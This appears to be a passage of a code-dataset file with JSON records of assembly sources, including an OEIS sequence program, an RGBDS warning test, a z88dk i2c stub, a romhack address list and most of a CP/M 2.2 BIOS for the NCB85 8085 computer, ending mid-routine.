00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n*\/\n","avg_line_length":38.7191011236,"max_line_length":2999,"alphanum_fraction":0.6559779454} {"size":1013,"ext":"asm","lang":"Assembly","max_stars_count":1.0,"content":"; A052543: Expansion of (1-x)\/(1 - 3*x - 2*x^2 + 2*x^3).\n; 1,2,8,26,90,306,1046,3570,12190,41618,142094,485138,1656366,5655186,19308014,65921682,225070702,768439442,2623616366,8957586578,30583113582,104417281170,356502897518,1217177027730,4155702315886,14188455208082,48442416200558,165392754386066,564686185143150,1927959231800466,6582464556915566\n\nmov $12,$0\nmov $14,$0\nadd $14,1\nlpb $14\n clr $0,12\n mov $0,$12\n sub $14,1\n sub $0,$14\n mov $9,$0\n mov $11,$0\n add $11,1\n lpb $11\n mov $0,$9\n sub $11,1\n sub $0,$11\n mov $5,$0\n mov $7,2\n lpb $7\n mov $0,$5\n sub $7,1\n add $0,$7\n sub $0,1\n mov $2,2\n lpb $0\n mov $1,$0\n cal $1,7052 ; Number of order-consecutive partitions of n.\n sub $0,2\n add $2,$1\n lpe\n mov $1,$2\n mov $8,$7\n lpb $8\n mov $6,$1\n sub $8,1\n lpe\n lpe\n lpb $5\n mov $5,0\n sub $6,$1\n lpe\n mov $1,$6\n div $1,2\n add $10,$1\n lpe\n add $13,$10\nlpe\nmov $1,$13\n","avg_line_length":19.862745098,"max_line_length":291,"alphanum_fraction":0.5547877591} {"size":294,"ext":"asm","lang":"Assembly","max_stars_count":6.0,"content":"copyright\tzengfr\tsite:http:\/\/github.com\/zengfr\/romhack\n\n009ACA\tdbra D5, $9ac8\t\t\n03908C\tmove.w ($84,A6), D3\t\t[enemy+86]\n0390D0\tmove.w ($84,A6), D3\t\t[enemy+86]\n03967E\tjsr $7f6e.w\t\t[enemy+86]\n03A7B8\tmove.w ($5a,A2), D0\t\t[enemy+86]\ncopyright\tzengfr\tsite:http:\/\/github.com\/zengfr\/romhack\n\n","avg_line_length":29.4,"max_line_length":54,"alphanum_fraction":0.6768707483} {"size":200,"ext":"asm","lang":"Assembly","max_stars_count":640.0,"content":"\n; Generate references to any portions of i2c1\n; code that must be part of every compile that\n; uses the i2c1.\n\nPUBLIC asm_i2c1_need\n\nEXTERN __i2c1ControlEcho\n\nDEFC asm_i2c1_need = __i2c1ControlEcho\n\n","avg_line_length":16.6666666667,"max_line_length":46,"alphanum_fraction":0.8} {"size":404,"ext":"asm","lang":"Assembly","max_stars_count":522.0,"content":"charmap \"\", $00\n\n\nSECTION \"ROM\", ROM0\n\nMACRO try\n\tOPT \\1\n\t; no warning\n\tdb \"A\" * 2\n\tdb (\"\")\n\t; warn at level 1\n\tdl (\"ABCD\")\n\tdl \"NULL>\"\n\t; warn at level 2\n\tdl (STRCAT(\"A\", \"B\"))\n\tdl \"AZ\" + 1\nENDM\n\n\ttry Wno-numeric-string\n\ttry Wnumeric-string\n\ttry Wnumeric-string=0\n\ttry Wnumeric-string=1\n\ttry Wnumeric-string=2\n\ttry Werror=numeric-string=1\n\ttry Werror=numeric-string=2\n","avg_line_length":15.5384615385,"max_line_length":28,"alphanum_fraction":0.646039604} {"size":31171,"ext":"asm","lang":"Assembly","max_stars_count":4.0,"content":";------------------------------------------------------------------------------\n; NCB85 CP\/M BIOS\n; Roman Borik\/RM-Team 2\/2012, 2\/2013, 1\/2014\n; archeocomp 2014-2015\n; NCB85 is a SBC based on 8085 and 64k SRAM. There is also 8kB ROM from 0000H\n; that can be shadowed by outputting 1 to SOD pin of 8085\n; BIOS is in the ROM and moved to target RAM after reset. CP\/M is loaded from diskette drive\n;------------------------------------------------------------------------------\n;DEBUG equ 1 ; floppy driver debug on uart 2.2\n \n\t\tcpu\t8085undoc\n\njnk\t\tmacro\tadr\n\t\tjnx5\tadr\n\t\tendm\n\njk\t\tmacro\tadr\n\t\tjx5\tadr\n\t\tendm\n\n;------------------------------------------------------------------------------\n\nCPMVer\t\tequ\t22\t\t; CP\/M ver 2.2\nBIOSVer\t\tequ\t21\t\t; BIOS ver 2.1\nCRYSTAL\t\tequ\t12\t\t; MHz\n\nCPMSource equ \"ROM\" ; when defined - CP\/M in ROM, otherwise\n;CPMSource equ \"FLP\" ; traditionally loaded from system track\n; step rate, head settle time\nFloppySpeed equ \"FAST\" ;for TEAC drives\n;FloppySpeed equ \"MEDIUM\" ;slower drives MITSUMI?\n; drive capacity\n;Floppy equ 360 ; drive type - 360kB\/5.25\"\n;Floppy equ 720 ; drive type - 720kB\/5.25\"\n;Floppy equ 120 ; drive type - 1.2MB\/5.25\"\nFloppy equ 144 ; drive type - 1.44MB\/3.5\"\n; drives used\nNumPmd32 equ 0 ; number of PMD32 drives\nNumFlps equ 2 ; number of floppy drives\nNumDisks\tequ\tNumPmd32+NumFlps ; drives num (PMD32SD+floppies)\n\nCCPLength\tequ\t0800h\t\t; CCP len\nBDOSLength\tequ\t0E00h\t\t; BDOS len\nBIOSLengthMax\tequ\t1000h\t\t; BIOS (Max) len\nCcpBdosSec\tequ\t(CCPLength+BDOSLength)\/128 ; CCP + BDOS len in sectors\n; be sure to include (or not include) correct cp\/m image at the end of file\n if (CPMSource <> \"ROM\")\nBaseBIOS\tequ\t0EE00h\t\t; BIOS address (with PMD32 driver, debug routines..)\n else\n if (Floppy == 360)\nBaseBIOS\tequ\t0F500h\t\t; BIOS address (with CPM bundled in 8k ROM) for 2x360\n elseif (Floppy==144) \nBaseBIOS\tequ\t0F400h\t\t; BIOS address (with CPM bundled in 8k ROM) for 2x1.44\n endif\n endif\nBaseCCP\t\tequ\tBaseBIOS-(CCPLength+BDOSLength) ; CCP address\nBaseBDOS\tequ\tBaseCCP+CCPLength+6 ; BDOS address\n message \"BIOS begins at \\{BaseBIOS}\"\n message \"CCP begins at \\{BaseCCP}\"\nIOByte\t\tequ\t0003h\t\t; IO byte (not used)\nCurrentDisk\tequ\t0004h\t\t; default disk\nBuffer\t\tequ\t0080h\t\t; default DMA address\nRetry\t\tequ\t5\t\t; disk retries\nRst55Vect\tequ\t002Ch\t\t; RST5.5 (USART)\nRst65Vect\tequ\t0034h\t\t; RST6.5 (TIMER)\n\nBEL\t\tequ\t7\nCR\t\tequ\t0Dh\nLF\t\tequ\t0Ah\nEOF\t\tequ\t1Ah\nESC\t\tequ\t1Bh\nSPACE\t\tequ\t20h\n;------------------------------------------------------------------------------\n; IO ports\nPIO_PA\t\tequ\t10h\nPIO_PB\t\tequ\t11h\nPIO_PC\t\tequ\t12h\nPIO_CWR\t\tequ\t13h\n\nUSART_DATA\tequ\t8\nUSART_CWR\tequ\t9\nUSART_STAT\tequ\t9\n\n; paging ROM\/RAM - values for SIM instruction\nXROM\t\tequ\t40h\nXRAM\t\tequ\t0C0h\n\n; init USART\nUSART_RESET\tequ\t01000000b\nUSART_CMD1\tequ\t01001110b\nUSART_CMD2\tequ\t00010101b\n\n; USART 16552\nFIFO_CTRL_REG_1 equ 2Ah\nFIFO_CTRL_REG_2 equ 22h\nLINE_CTRL_REG_1 equ 2Bh\nLINE_CTRL_REG_2 equ 23h\nDIVISOR_LOW_BYTE_1 equ 28h\nDIVISOR_HIGH_BYTE_1 equ 29h\nDIVISOR_LOW_BYTE_2 equ 20h\nDIVISOR_HIGH_BYTE_2 equ 21h\nLINE_STATUS_REG_1 equ 2Dh\nTRANSMITTER_BUFFER_REG_1 equ 28h\nRECEIVER_BUFFER_REG_1 equ 28h\nLINE_STATUS_REG_2 equ 25h\nTRANSMITTER_BUFFER_REG_2 equ 20h\n;------------------------------------------------------------------------------\nMon85Entry\tequ\t010Bh\t\t; MON85 from Dave Dunfield start point\nCheckMemAdr\tequ\t0FFD0h\t\t; ram paging test routine runtime address\n\n;------------------------------------------------------------------------------\n;******************************************************************************\n;------------------------------------------------------------------------------\n\t\torg\t0\nBoot:\n include \"rom_loader.asm\"\n;------------------------------------------------------------------------------\n;******************************************************************************\n;------------------------------------------------------------------------------\n\nQBaseBIOS:\tequ\t$\n\n phase\tBaseBIOS\n; BIOS entry points\nCBOOTE:\t\tjmp\tCBOOT\t\t; Cold boot\nWBOOTE:\t\tjmp\tWBOOT\t\t; Warm Boot\n\t\tjmp\tCONST\t\t; Console status\n\t\tjmp\tCONIN\t\t; Console input\n\t\tjmp\tCONOUT\t\t; Console output\n\t\tjmp\tLIST\t\t; List (printer) output\n\t\tjmp\tPUNCH\t\t; Character output\n\t\tjmp\tREADER\t\t; Character input\n\t\tjmp\tHOME\t\t; Go to track 0\n\t\tjmp\tSELDSK\t\t; Select disk\n\t\tjmp\tSETTRK\t\t; Set track\n\t\tjmp\tSETSEC\t\t; Set sector\n\t\tjmp\tSETDMA\t\t; Set DMA\n\t\tjmp\tREAD\t\t; Read sector\n\t\tjmp\tWRITE\t\t; Write sector\n\t\tjmp\tLISTST\t\t; List (printer) status\n\t\tjmp\tSECTRN\t\t; Sector translation\n\n if NumPmd32>0\n\t\tjmp\tReadByte\t; read byte from PMD 32-SD\n\t\tjmp\tSendCommand\t; send cmd\n\t\tjmp\tSendByte\t; send byte\n\t\tjmp\tSndCrcRdAckErr\t; send CRC and receive ACK and ERR\n\t\tjmp\tReadAckErr\t; receive ACK and ERR\n\t\tjmp\tWaitErrT15\t; wait for error code 15s\n\t\tjmp\tWaitErrT\t; wait for error code selected time\n\t\tjmp\tSndCrcRdAck\t; send CRC and receive ACK\n\t\tjmp\tReadCheckCrc\t; receive and check CRC\n endif\n;------------------------------------------------------------------------------\n; Disk parameters\nDPH:\n if NumPmd32>0\nDPH0:\t\tdw\t0,0\t\t; no translation table\n\t\tdw\t0,0\n\t\tdw\tDIRBUF,DPB\t; buff.adr., disk param adr.\n\t\tdw\tCSV0,ALV0\t; checksum zone adr., aloc bit map adr.\nDPH1:\t\tdw\t0,0\t\t; no translation table\n\t\tdw\t0,0\n\t\tdw\tDIRBUF,DPB\t; buff.adr., disk param adr.\n\t\tdw\tCSV1,ALV1\t; checksum zone adr., aloc bit map adr.\n endif\nDPH4:\t\tdw\t0,0\t\t; no translation table\n\t\tdw\t0,0\n\t\tdw\tDIRBUF,DPB4\t; buff.adr., disk param adr.\n\t\tdw\tCSV4,ALV4\t; checksum zone adr., aloc bit map adr.\nDPH5:\t\tdw\t0,0\t\t; no translation table\n\t\tdw\t0,0\n\t\tdw\tDIRBUF,DPB4 ; buff.adr., disk param adr.\n\t\tdw\tCSV5,ALV5\t; checksum zone adr., aloc bit map adr.\n\n; PMD32SD\n; size 2MB\n; 256 tracks, 64 sectors\/track\n; 1020 allocation 2kb blocks\n; 256 dir size\n; 1 system track\n if NumPmd32>0\nDPB: dw 64 ; SPT - logical sectors per track\n db 4 ; BSH - block shift\n db 15 ; BLM - block mask\n db 0 ; EXM - ext.mask\n dw 1019 ; DSM - capacity-1\n dw 255 ; DRM - dir size-1\n db 240 ; AL0 - dir allocation mask\n db 0 ; AL1\n dw 64 ; CKS - checksum array size\n dw 1 ; OFF - system tracks\n endif\n\n; Diskette 5,25\" DD, 360kB(DOS and CP\/M)\n; 40 tracks(two side), 18 (256 byte) sectors per track\/side, 1440 sectors totally\n; 175 allocation 2kB blocks (first track reserved for system)\n; 64 dir size (1x16x4) - dir is saved in 1 allocation blocks\n; 1 system track\n if (Floppy==360) && (CPMSource <> \"ROM\")\nDPB4: dw 72 ; SPT - logical sectors per track\n db 4 ; BSH - posun bloku\n db 15 ; BLM - block mask\n db 1 ; EXM - ext.mask, 32kB per extent\n dw 174 ; DSM - capacity-1\n dw 63 ; DRM - dir size-1\n db 128 ; AL0 - dir allocation mask\n db 0 ; AL1\n dw 16 ; CKS - checksum array size\n dw 1 ; OFF - system tracks\n endif\n if (Floppy==360) && (CPMSource == \"ROM\")\nDPB4: dw 72 ; SPT - logical sectors per track\n db 4 ; BSH - posun bloku\n db 15 ; BLM - block mask\n db 1 ; EXM - ext.mask, 32kB per extent\n dw 179 ; DSM - capacity-1 - full 360kB\n dw 63 ; DRM - dir size-1\n db 128 ; AL0 - dir allocation mask\n db 0 ; AL1\n dw 16 ; CKS - checksum array size\n dw 0 ; OFF - system tracks - no system track\n endif\n\n; Diskette 3,5\" HD\n; 3.5\" \/ 1.44MB(DOS) \/ 1.28MB(CP\/M)\n; 80 tracks(two side), 32 (256 byte) sectors per track\/side, 5120 sectors totally\n; 632 allocation 2kB blocks (first track reserved for system)\n; 256 dir size (4x16x4) - dir is saved in 4 allocation blocks\n; 1 system track\n if (Floppy==144) && (CPMSource <> \"ROM\")\nDPB4: dw 128 ; SPT - logical sectors per track\n db 4 ; BSH - block shift\n db 15 ; BLM - block mask\n db 0 ; EXM - ext.mask\n dw 631 ; DSM - capacity-1\n dw 255 ; DRM - dir size-1\n db 240 ; AL0 - dir allocation mask\n db 0 ; AL1\n dw 64 ; CKS - checksum array size\n dw 1 ; OFF - system tracks \n endif\n if (Floppy==144) && (CPMSource == \"ROM\")\nDPB4: dw 128 ; SPT - logical sectors per track\n db 4 ; BSH - block shift\n db 15 ; BLM - block mask\n db 0 ; EXM - ext.mask\n dw 639 ; DSM - capacity-1\n dw 255 ; DRM - dir size-1\n db 240 ; AL0 - dir allocation mask\n db 0 ; AL1\n dw 64 ; CKS - checksum array size\n dw 0 ; OFF - system tracks \n endif\n;------------------------------------------------------------------------------\nSignature:\tdb\tESC,\"[0m\"\t; reset terminal attributes\n\t\tdb\tESC,\"[2J\"\t; clear console\n\t\tdb\tCR,LF\n\t\tdb\t\"NCB85 64k CP\/M v\"\n\t\tdb\tCPMVer\/10+'0','.',CPMVer#10+'0'\n\t\tdb\t\", BIOS v\"\n\t\tdb\tBIOSVer\/10+'0','.',BIOSVer#10+'0'\n\t\tdb\t\", \",BaseBIOS\/4096+'A'-10,(BaseBIOS#4096)\/256+'0',\"00-FFFF\"\n if (Floppy==360)\n\t\tdb\t\", 2x 360kB 5.25\\\"\"\n elseif (Floppy==144)\n\t\tdb\t\", 2x 1.44MB 3.5\\\"\"\n endif\n\t\tdb\tCR,LF\n\t\tdb\t\"RomBor, Archeocomp 07\/2014\"\nTCRLF:\t\tdb\tCR,LF,0\n\n if NumPmd32>0\nErrPMD32:\tdb\tCR,LF\n\t\tdb\t\"PMD 32-SD Error!\"\n\t\tdb\tCR,LF,BEL,0\n endif\n\nErrBoot:\tdb\t\"BOOT Error!\"\n\t\tdb\tCR,LF,CR,LF,BEL,0\nErrRead:\tdb\tCR,LF,\"Read\",0\nErrWrite:\tdb\tCR,LF,\"Write\",0\nErrError:\tdb\t\" Error! - \",0\nErrRetry:\tdb\t\" [R]etry [I]gnore Re[B]oot\"\n\t\tdb\tCR,LF,BEL,0\n\n\t\tdb\t0\t\t; 0=warm start, 1=cold start\nCCPCommand:\tdb\t4,\"cd *\",0\nCCPCommandLen:\tequ\t$ - CCPCommand\n\n;------------------------------------------------------------------------------\n; * CBOOT * Cold boot\nCBOOT:\t\tdi\n\t\tlxi\tsp,0\t\t; stack to ram end\n\n\t\tmvi\ta,XRAM\t\t; disable ROM\n\t\tsim\n\n\t\tcall\tHardwareInit\t; HW init\n\n\t\tlxi\th,Signature\n\t\tcall\tPrint0\n\n\t\txra\ta\t\t; zero\n\t\tsta\tIOByte\t\t; IOByte\n\t\tsta\tCurrentDisk\t; current disk and user\n ;DRI bloking alg.\n STA\tHSTACT ;CLEAR HOST ACTIVE FLAG\n STA UNACNT\n\n\t\tinr\ta\n\t\tsta\tCCPCommand-1\t; flag: cold start\n\n;------------------------------------------------------------------------------\n; * WBOOT * Warm boot\nWBOOT:\t\tdi\n\t\tlxi\tsp,0\t\t; stack to ram end\n\n\t\tlda\tCCPCommand-1\n\t\tora\ta\n\t\tcz\tHardwareInit\t; initialize HW at warm start\n\n if NumPmd32>0\n\t\tmvi\tl,5\t\t; 5 retries\nWBoot1:\t\tcall\tCheckPMD32\t; is PMD 32-SD connected?\n\t\tjnc\tWBoot2\t\t; yes, jump forward\n\t\tcall\tWaitL\n\t\tdcr\tl\n\t\tjnz\tWBoot1\n\n\t\tlxi\th,ErrPMD32\t; show error msg\n\t\tcall\tPrint0\n\t\tcall\tCONIN\t\t; wait for keypress\n\t\tdi\t\t\t; disable interrupts\n\t\tmvi\ta,XROM+1Fh\t; connect ROM tu bus and disable interrupts\n\t\tsim\n\t\thlt\n endif\n\nWBoot2:\t\txra a\n sta drive_nr ;drive 0, track 0, sector 0, head 0\n sta track_nr ;FDC driver variables\n sta motor_0_state ;\n sta motor_1_state ; floppy motors\n sta HSTSEC ;host sector in DRI blocking alg.\n inr a ;256 bytes per sector\n sta NUMBER_OF_BYTES ;FDC driver variables\n\n if Floppy==360\n call set_drv_type0 ;5.25\" 360kB, 18x256byte sectors\/track\n elseif Floppy==144\n call set_drv_type3 ;3.5\" 1.44MB, 32x256byte sectors\/track\n endif\n call fd_init\n call long_delay\n \n jnc .f1\n lxi h,ErrBoot ;print boot error\n call\tPrint0\n hlt\n.f1\n if CPMSource == \"ROM\" ;load CPM from ROM\n\t\tmvi\ta,XROM+1Fh\t;connect ROM to bus and disable interrupts\n\t\tsim\n lxi h,CPMBIN\n lxi d,BaseCCP\n lxi b,CCPLength+BDOSLength\n call CopyBlock\n\t\tmvi\ta,XRAM\t\t;disable ROM\n\t\tsim\n else \n lxi h,BaseCCP ;load CPM from floppy here (dest.address)\n lda HSTSEC ;sector counter(it is safe to use this var at boot)\n.f2 inr a ;move to next sector\n sta HSTSEC ;save it\n push h ;backup dest.address\n call set_sector ;compute correct sec.nr - if we are already on head 1\n.f3 mvi a,FDC_READ ;read command\n call fd_exec_cmd ;execute\n pop h ;restore dest.address\n mvi c,0 ;transfer 256 bytes to address\n lxi d,dbuffer\n.f4 ldax d\n mov M,a\n inx d\n inx h\n dcr c\n jnz .f4\n lda HSTSEC ;CPM loaded?\n cpi CcpBdosSec\/2 ;5.5kB CPM (3.5kB BDOS + 2kB CCP)\n jnz .f2\n endif\n\nWBootEnd:\tlxi\th,Buffer\t; DMA address\n\t\tshld\tDma\n\t\tmvi\ta,0C3h\t\t; jmp instruction to WBOOT to address 0\n\t\tsta\t0\n\t\tlxi\th,WBOOTE\n\t\tshld\t1\n\t\tsta\t5\t\t; jmp instruction to BDOS to address 5\n\t\tlxi\th,BaseBDOS\n\t\tshld\t6\n\t\tlda\tCurrentDisk\t; last used drive\n\t\tmov\tc,a\t\t; send to CCP in C register\n\t\tlxi\th,CCPCommand-1\t; cold\/warm start ?\n\t\tmov\ta,m\t\t; flag to A\n\t\tmvi\tm,0\t\t; clear flag\n if NumPmd32>0\n\t\tora\ta\t\t; warm start ?\n\t\tjz\tBaseCCP+3\t; jump to CCP with empty edit buffer\n\t\tinx\th\t\t; move to beg of \"CD *\"\n\t\tlxi\td,BaseCCP+7\t; copy to edit buffer\n\t\tlxi\tb,CCPCommandLen\n\t\tcall\tCopyBlock\n\t\tjmp\tBaseCCP\t\t; jump to CCP\n elseif\n\t\tjmp BaseCCP+3\t; jump to CCP with empty edit buffer\n endif\n ;\n;------------------------------------------------------------------------------\nCopyBlock:\tmov\ta,m\n\t\tstax\td\n\t\tinx\th\n\t\tinx\td\n\t\tdcx\tb\n mov a,b\n ora c\n\t\tjnz\tCopyBlock\n\t\tret\n\n;------------------------------------------------------------------------------\n; * Unused services *\n;------------------------------------------------------------------------------\n; printer ready - unused\nLISTST:\t\tmvi\ta,255\t\t; always ready\n\n;------------------------------------------------------------------------------\n; Char out to printer - unused\nLIST:\n\n;------------------------------------------------------------------------------\n; Char out to char output - unused\nPUNCH:\n\t\tret\n\n;------------------------------------------------------------------------------\n; Char in from char input - unused\nREADER:\t\tmvi\ta,EOF\t\t; vrat vzdy znak konca suboru\n\t\tret\n\n;------------------------------------------------------------------------------\n; Print zero terminated text\n; I: HL=text address\n; O:\n; M: HL, AF, C\nPrint0:\t\tmov\ta,m\t\t; get char\n\t\tinx\th\t\t; move to next\n\t\tora\ta\t\t; end of text?\n\t\trz\t\t\t; yes, return\n\t\tcall\tConsoleOutputA\t; send char\n\t\tjmp\tPrint0\t\t; repeat\n\n;------------------------------------------------------------------------------\n; Show error\n; Read Error - D\/T\/S\n; Write Error - D\/T\/S\n; D - drive\n; T - track\n; S - sector\nPrintError:\tcall\tPrint0\t\t; text Read\/Write Error\n\t\tlxi\th,ErrError\n\t\tcall\tPrint0\n\t\tlda\tDrive\t\t; show Drive\n\t\tadi\t'A'\n\t\tcall\tConsoleOutputA\n\t\tmvi\tc,'\/'\n\t\tcall\tConsoleOutputC\n\t\tlda\tTrack\t\t; show Track\n\t\tcall\tDec8\n\t\tmvi\tc,'\/'\n\t\tcall\tConsoleOutputC\n\t\tlda\tSector\t\t; show Sector\n\t\tcall\tDec8\n\t\tlxi\th,ErrRetry\n\t\tcall\tPrint0\n\t\tcall\tCONIN\t\t; wait\n\t\tani\t05Fh\n\t\tcpi\t'B'\t\t; is it 'B'?\n\t\tjz\tWBOOT\t\t; warm start\n\t\tret\n\n;------------------------------------------------------------------------------\n; Print 8 bit number on 3 digits.\n; Leading zeroes are suppresed\n; I: A=cislo - 0 .. 255\n; O: -\n; M: AF, B, DE, HL\nDec8:\t\tmov\th,a\t\t; cislo do H\n\t\tmvi\tb,8\t\t; 8 bitove cislo\n\t\tlxi\td,0\t\t; vynuluj vysledok v DE\nDec8L:\t\tdad\th\t\t; najvyssi bit do CY\n\t\tmov\ta,e\t\t; jednotky a desiatky\n\t\tadc\ta\t\t; zdvojnasob a pripocitaj prenos z DAD H\n\t\tdaa\t\t\t; preved do BCD\n\t\tmov\te,a\n\t\tmov\ta,d\t\t; stovky\n\t\tadc\ta\t\t; zdvojnasob a pripocitaj prenos z DAA\n\t\tmov\td,a\n\t\tdcr\tb\t\t; opakuj pre 8 bitov\n\t\tjnz\tDec8L\n\t\tlxi\th,PrtBCDX+1\t; flag - neplatne nuly\n\t\tmov\tm,b\t\t; vynuluj ho - uvodne nuly sa netlacia\n\t\tmov\ta,d\t\t; stovky do A\n\t\tcall\tPrtBCDchar\t; zobraz\n\t\tmov\ta,e\t\t; desiatky a jednotky do A\n\n;------------------------------------------------------------------------------\n; Print BCD number\n; I: A=BCD number, HL=PrtBCDX+1\n; O: -\n; M: AF, B\nPrtBCD:\t\tmov\tb,a\t\t; odpamataj cislo\n\t\trrc\t\t\t; presun desiatky do dolnych 4 bitov\n\t\trrc\n\t\trrc\n\t\trrc\n\t\tcall\tPrtBCDchar\t; zobraz cislo\n\t\tmov\tm,h\t\t; nastav flag - neplatne nuly - pri jednotkach sa tlaci aj 0\n\t\tmov\ta,b\t\t; vezmi cislo\nPrtBCDchar:\tani\t15\t\t; maska na dolne 4 bity\n\t\tjnz\tPrtBCDchar2\t; ak je to cislica > 0, skoc\nPrtBCDX:\tmvi\ta,0\t\t; uz bola vytlacena nejaka platna cislica ?\n\t\tora\ta\n\t\trz\t\t\t; nie, vrat sa - uvodne nuly sa netlacia\n\t\txra\ta\t\t; tlacime aj nulu\nPrtBCDchar2:\tadi\t'0'\t\t; uprav na znaky '0' - '9'\n\t\tmov\tm,a\t\t; nastav flag - mame platne cislice\n\t\tpush\tb\n\t\tpush\td\n\t\tcall\tConsoleOutputA\t; vytlac znak\n\t\tpop\td\n\t\tpop\tb\n\t\tret\n\n;------------------------------------------------------------------------------\n; * Diskove services *\n;------------------------------------------------------------------------------\n\n;------------------------------------------------------------------------------\n; * SELDSK - Select disk\n; I: C=disku nr\n; O: HL=address of table DPH, 0 when wrong disk nr\n; M: vsetky\nSELDSK:\t\tlxi\th,0\t\t; return 0 on error\n\t\tmov\ta,c\n\t\tcpi\tNumDisks\t; disks A: .. D: (and E: floppy)\n\t\trnc\t\t\t; error - HL = 0\n\t\tsta\tDrive\t\t; drive - save it\n\t\tmov\tl,c\t\t; HL=disk nr, compute DPH address\n\t\tdad\th\t\t; *2\n\t\tdad\th\t\t; *4\n\t\tdad\th\t\t; *8\n\t\tdad\th\t\t; *16\n\t\tlxi\td,DPH\t\t; disk. param. address base\n\t\tdad\td\t\t; HL=chosen disk params address\n\t\tret\n\n;------------------------------------------------------------------------------\n; * HOME - Disk Home\n; I: -\n; O: -\n; M: A\nHOME:\t\tmvi\tc,0\n ;DRI blocking alg.code\n LDA HSTWRT ;CHECK FOR PENDING WRITE\n ORA A\n JNZ HOMED\n STA HSTACT ;CLEAR HOST ACTIVE FLAG\nHOMED:\n;\tRET\n\n;------------------------------------------------------------------------------\n; * SETTRK - Set track\n; I: C=track nr\n; O: -\n; M: A\nSETTRK:\t\tmov\ta,c\n\t\tsta\tTrack\n\t\tret\n\n;------------------------------------------------------------------------------\n; * SETSEC - Set sector\n; I: BC=sektora nr (B=0)\n; O: -\n; M: AF\nSETSEC:\t\tmov\ta,c\t\t; sectors 1 .. 64\n\t\tdcr\ta\t\t; change to 0 .. 63\n\t\tsta\tSector\t\t; save\n\t\tret\n\n;------------------------------------------------------------------------------\n; * SETDMA - Set DMA\n; I: BC=DMA address\n; O: -\n; M: HL\nSETDMA:\t\tmov\th,b\n\t\tmov\tl,c\n\t\tshld\tDma\n\t\tret\n\n;------------------------------------------------------------------------------\n; * SECTRN - Sector translation\n; I: BC=logical sector nr, DE=tran table address\n; O: HL=physical sector nr\n; M: HL\nSECTRN:\t\tmov\th,b\t\t; no translation\n\t\tmov\tl,c\n\t\tinx\th\t\t; 1 .. n\n\t\tret\n\n;------------------------------------------------------------------------------\n; * READ - Read sector\n; I: disk drive, sector and track at addresses Drive, Sector, Track\n; source address at address Dma\n; O: A=0 - OK\n; A=1 - error\n; M: all\nREAD:\t\tcall\tLocalSP\t\t; set local stack\n if NumPmd32>0\n lda Drive ; last drive is floppy(s)\n cpi NumDisks-NumFlps\n jc READ3\n endif\n call read_flp ; handle floppy differently\n ana a ; check success\n jz READ2\n\t\tlxi\th,ErrRead\t; text Read Error\n\t\tcall\tPrintError\t; show err\n\t\tmvi\ta,1\t\t; A=1 - err\n jmp\tREAD2\t\t; ret -> A=0 - OK\n if NumPmd32>0\nREAD3:\t\tmvi\tb,Retry\t\t; number of retries\nREAD1:\t\tpush\tb\t\t; save\n\t\tcall\tReadSector\t; read sector\n\t\tpop\tb\t\t; restore\n\t\tana\ta\t\t; success ?\n\t\tjz\tREAD2\t\t; yes, ret -> A=0 - OK\n\t\tdcr\tb\t\t; decrement retries\n\t\tjnz\tREAD1\t\t; again\n\t\tlxi\th,ErrRead\t; text Read Error\n\t\tcall\tPrintError\t; show err\n\t\tcpi\t'R'\t\t; Retry ?\n\t\tjz\tREAD3\t\t; yes, again\n\t\tsui\t'I'\t\t; Ignore ?\n\t\tjz\tREAD2\t\t; ret A=0\n\t\tmvi\ta,1\t\t; A=1 - error\n endif\nREAD2:\t\tcall\tRestoreSP\t; restore original stack\n\t\tret\n\n;------------------------------------------------------------------------------\n; * WRITE - Write sector\n; I: disk drive, sector and track at addresses Drive, Sector, Track\n; source address at address Dma\n; O: A=0 - OK\n; A=1 - chyba\n; M: vsetky\nWRITE:\t\tcall\tLocalSP\t\t; set local stack\n if NumPmd32>0\n lda Drive ; last drive is floppy(s)\n cpi NumDisks-NumFlps\n jc WRITE3\n endif\n call write_flp ; handle floppy differently\n ana a ; check success\n jz WRITE2\n\t\tlxi\th,ErrWrite\t; text Read Error\n\t\tcall\tPrintError\t; show err\n\t\tmvi\ta,1\t\t; A=1 - err\n jmp\tWRITE2\t\t; ret -> A=0 - OK\n if NumPmd32>0\nWRITE3:\t\tmvi\tb,Retry\t\t; number of retries\nWRITE1:\t\tpush\tb\t\t; save\n\t\tcall\tWriteSector\t; write sector\n\t\tpop\tb\t\t; restore\n\t\tana\ta\t\t; success 